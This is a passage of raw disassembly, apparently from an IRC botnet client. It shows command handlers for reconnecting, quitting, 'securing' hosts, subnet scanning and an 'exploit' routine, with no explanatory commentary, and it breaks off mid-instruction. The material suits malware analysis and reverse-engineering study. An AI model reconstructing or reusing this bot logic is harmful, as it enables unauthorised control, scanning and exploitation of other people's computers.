loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2690000h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 26903FCh jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 2690DCCh nop push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 26903FCh jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j call near ptr 2690DCCh nop push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 26A0B9Fh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 26903FCh jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2690DCCh push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call near ptr 26903FCh nop jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j call near ptr 2690DCCh nop push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h call near ptr 26903FCh nop jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj call near ptr 2690DCCh nop push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 26903FCh jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2690DCCh push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 26903FCh jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2690DCCh push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 26903FCh jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2690DCCh nop push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx call near ptr 77E75CB5h nop loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call 